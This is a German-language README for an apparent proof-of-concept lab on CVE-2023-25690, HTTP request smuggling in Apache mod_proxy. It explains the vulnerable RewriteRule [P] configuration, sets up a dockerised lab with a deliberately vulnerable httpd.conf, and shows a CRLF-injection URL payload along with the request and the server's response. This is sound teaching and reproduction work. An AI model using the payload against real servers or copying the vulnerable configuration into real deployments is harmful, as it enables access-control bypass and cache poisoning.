oocyginxoo/cve-2023-25690-pocCVE 2023 25690 Proof-of-Concept - Die anfällige Konfiguration von mod_proxy auf Apache HTTP Server Versionen 2.4.0 - 2.4.55 führt zur HTTP Request Smuggling Sicherheitslücke.
Veröffentlicht: 7. März 2023
| Basisbewertung | Vertraulichkeit | Integritätsauswirkung | Verfügbarkeitsauswirkung |
|---|---|---|---|
| 9.8 | Hoch | Hoch | Hoch |
Einige mod_proxy-Konfigurationen in Apache HTTP Server Versionen 2.4.0 bis 2.4.55 ermöglichen einen HTTP-Request-Smuggling-Angriff. Konfigurationen sind betroffen, wenn mod_proxy zusammen mit einer Form von RewriteRule oder ProxyPassMatch aktiviert ist, bei der ein unspezifisches Muster einen Teil der vom Benutzer bereitgestellten Request-Target (URL) Daten erfasst und dann mittels Variablenersetzung wieder in das proxierte Request-Target eingefügt wird. Zum Beispiel so etwas wie:
RewriteEngine on
RewriteRule "^/here/(.*)" "http://example.com:8080/elsewhere?$1"; [P]
ProxyPassReverse /here/ http://example.com:8080/
Request-Splitting/-Smuggling könnte zur Umgehung von Zugriffskontrollen im Proxy-Server, zum Proxying ungewollter URLs zu bestehenden Origin-Servern und zu Cache-Poisoning führen. Benutzern wird empfohlen, auf mindestens Version 2.4.56 des Apache HTTP Servers zu aktualisieren.
https://ubuntu.com/security/CVE-2023-25690
https://security.snyk.io/vuln/SNYK-UBUNTU2210-APACHE2-3355688
Wenn in der Apache-Konfiguration RewriteEngine on enthalten ist, wird die URL-Umschreibungs-Engine aktiviert. URL-Umschreibung ist eine Technik, mit der Webserver die von einem Client-Browser angeforderten URLs dynamisch in eine andere URL ändern können, bevor sie den Inhalt ausliefern.
Nehmen wir zum Beispiel an, wir haben die folgende URL-Struktur für einen Online-Shop:
https://example-shop.com/categories/1
Angenommen, die folgende RewriteRule-Direktive in einer Apache-Konfigurationsdatei:
RewriteRule "^/categories/(.*)" "http://example-shop.com:8080/categories?id=$1"; [P]
Wenn ein Benutzer die URL https://example-shop.com/categories/1 anfordert, matcht die RewriteRule die URL und erfasst den Wert 1 mit dem regulären Ausdruck ^/categories/(.*). Die Regel schreibt dann die URL zu http://example-shop.com:8080/categories?id=1 um, indem der erfasste Wert als Query-Parameter id an die umgeschriebene URL angehängt wird.
Da das [P]-Flag in der Regel vorhanden ist, behandelt Apache die umgeschriebene URL als Proxy-Anfrage und leitet sie an den Zielserver unter http://example-shop.com:8080/categories weiter, mit dem Query-Parameter id gesetzt auf 1. Der Zielserver verarbeitet dann die Anfrage und sendet die Antwort an Apache zurück, der sie an den Client weiterleitet.
Zusammenfassend wird die RewriteRule-Direktive mit dem [P]-Flag verwendet, um URLs umzuschreiben und an einen anderen Server zu proxieren. In diesem Fall matcht die Regel URLs, die mit /categories/ beginnen, und hängt den erfassten Wert als Query-Parameter id an die umgeschriebene URL an. Apache leitet die Anfrage dann an den Zielserver weiter, der die Anfrage verarbeitet und die Antwort zurückgibt.
Schließlich ersetzt die Zeile ProxyPassReverse /categories/ http://example-shop.com:8080/ einfach die Domain und den Pfad des Backend-Servers durch die Domain und den Pfad des Proxy-Servers, so dass der Client Links korrekt folgen und auf Inhalte vom proxierten Backend-Server zugreifen kann, als ob sie direkt vom Proxy-Server bereitgestellt würden.
Um die Schwachstelle in Apache zu simulieren, verwenden wir die httpd Version 2.4.55. Zusätzlich wird das gesamte Lab für eine verbesserte Einrichtungs-, Konfigurations- und Reproduzierbarkeit dockerisiert.
Die Dateistruktur des Labs wird wie folgt sein:
lab/
├── backend
│ ├── Dockerfile
│ └── src
│ ├── categories.php
│ └── index.php
├── docker-compose.yml
└── frontend
├── Dockerfile
└── httpd.conf
Die endgültige httpd.conf-Konfiguration ist wie folgt strukturiert:
ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common
# Load necessary modules
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
<VirtualHost *:80>
RewriteEngine on
RewriteRule "^/categories/(.*)" "http://192.168.10.100:8080/categories.php?id=$1" [P]
ProxyPassReverse "/categories/" "http://192.168.10.100:8080/"
</VirtualHost>
Verwenden Sie den Befehl docker-compose.exe up --build, um das Lab zu starten.
In diesem Abschnitt erkläre ich, wie eine CRLF-Injection zu internem HTTP-Request-Smuggling führen kann, wodurch ein Angreifer unbefugten Zugriff auf interne Ressourcen erlangen kann, die sonst nicht zugänglich wären.
Basierend auf der Beschreibung des Advisories ist httpd <=2.4.55 anfällig für HTTP Response Splitting, auch bekannt als CRLF-Injection.
Die CRLF-Injection tritt auf, wenn:
was in unserem Fall durch das Übergeben des folgenden CRLF-Präfixes in der URL bestätigt werden kann:
HTTP/1.1\r\nFoo: baarr\r\n\r\n
%20HTTP/1.1%0d%0aFoo:%20baarr
Durch Anhängen des obigen Präfixes an die URL ergibt sich die folgende endgültige Anfrage:
GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Nach der Anfrage verarbeitet der Server die Daten und gibt einen 200-Antwortcode zurück, der die Anfälligkeit für CRLF-Injection anzeigt.
HTTP/1.1 200 OK
Date: Mon, 22 May 2023 02:05:28 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Length: 21
Content-Type: text/html; charset=UTF-8
You category ID is: 1
Weitere Informationen zu HTTP Request Splitting finden Sie hier: https://owasp.org/www-community/attacks/HTTP_Response_Splitting